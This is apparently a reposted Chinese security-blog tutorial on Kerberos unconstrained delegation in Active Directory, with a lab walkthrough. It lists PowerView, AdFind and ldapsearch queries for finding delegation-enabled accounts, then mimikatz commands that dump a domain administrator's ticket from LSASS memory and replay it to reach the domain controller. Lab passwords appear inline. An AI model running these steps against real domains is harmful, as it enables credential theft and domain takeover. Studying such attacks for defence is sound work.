委派攻击-非约束委派攻击

admin 2024年5月14日21:01:36评论3 views字数 2377阅读7分55秒阅读模式

1.非约束性委派

在WindowsServer2000首次发布ActiveDirectory时,Microsoft就提供了一种简单的机制来支持用户通过Kerberos向Web服务器进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案,这就是最早的非约束性委派(UD:UnconstrainedDelegation)。对于非约束性委派,服务账号可以获取被委派用户的TGT认购权证,并将TGT认购权证缓存到LSASS进程中,从而服务账号可使用该TGT认购权证,模拟该用户访问任意服务。非约束委派的设置需要SeEnableDelegationPrivilege特权,该特权默认仅授予域管理员和企业管理员。

•配置了非约束性委派属性的机器账号的userAccountControl属性有个Flag位:WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION,其对应的数是0x81000=528384。

•配置了非约束性委派属性的服务账号的userAccountControl属性有个Flag位:NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION,其对应的数是0x80200=524800。

委派攻击-非约束委派攻击

委派攻击-非约束委派攻击

下图所示是微软官方对于非约束性委派流程的介绍:

委派攻击-非约束委派攻击

2.查询非约束委派的主机或服务账户

查询非约束性委派的主机或服务账号可以使用powershell脚本、adfind或ldapsearch等工具。

(1)powershell脚本

利用PowerSploit下的PowerView.ps1脚本查询

Import-Module .PowerView.ps1;

查询域中配置非约束委派的主机

Get-NetComputer -Unconstrained -Domain rkabyss.com

查询域中配置非约束委派的服务账户

Get-NetUser -Unconstrained -Domain rkabyss.com | select name  

(2)adfind

利用adfind执行如下命令过滤samAccountType和userAccountControl属性,即可查询出域内配置了非约束性委派的主机和服务账号。

查询域中配置非约束委派的主机

AdFind.exe -b "DC=rkabyss,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

查询域中配置非约束委派的服务账户

AdFind.exe -b "DC=rkabyss,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

(3)ldapsearch

利用ldapsearch执行如下命令过滤samAccountType和userAccountControl属性,即可查询出域内配置了非约束性委派的主机和服务账号。

查询域中配置非约束委派的主机

ldapsearch -x -H ldap://10.10.10.4:389 -D "hack01@rkabyss.com" -w P@ss1234 -b " DC=rkabyss,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep dn

查询域中配置非约束委派的服务账户

ldapsearch -x -H ldap://10.10.10.4:389 -D "hack01@rkabyss.com" -w P@ss1234 -b " DC=rkabyss,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep dn

3.非约束委派攻击

以下是实验环境:

•域控:AD01(10.10.10.4)

•域成员主机:Windows10(10.10.10.6)

•域管理员:administrator

•域普通用户:rkabyss

•域:rkabyss.com

非约束性委派攻击可以利用服务账号和主机账号,因为只有服务账号和主机账号具有委派属性。域用户账号注册SPN之后就成为了服务账号,主机账号的话我们可以手动去创建。

如图所示,在域控上配置主机WIN10具有非约束性委派属性。

委派攻击-非约束委派攻击

在win10上访问域控,提示拒绝访问。

委派攻击-非约束委派攻击

我们用域管理员administrator身份远程访问win10机器。

net use \win10.rkabyss.com /user:rkabyssadministrator P@ssword1234

域管理员administrator远程连接win10机器。

委派攻击-非约束委派攻击

此时,在主机win10的lsass.exe内存中就会有域管理员test的TGT认购权证。我们在win10上以管理员权限运行mimikatz,执行以下命令导出内存中的票据:

privilege::debug

委派攻击-非约束委派攻击

sekurlsa::tickets /export

使用mimikatz导出内存中的票据:

委派攻击-非约束委派攻击

可以看到会生成一个Administrator@krbtgt的票据。

委派攻击-非约束委派攻击

然后我们用mimikatz执行如下命令将这个票据导入内存中。

kerberos::ptt [0;58cdc]-2-0-60a10000-test@krbtgt-XIE.COM.kirbi

查看票据

kerberos::list

使用mimikatz将票据导入内存中,然后访问域控,可以看到导入票据后成功访问域控。

委派攻击-非约束委派攻击

原文始发于微信公众号(我真不会渗透):委派攻击-非约束委派攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月14日21:01:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   委派攻击-非约束委派攻击https://cn-sec.com/archives/2070867.html

发表评论

匿名网友 填写信息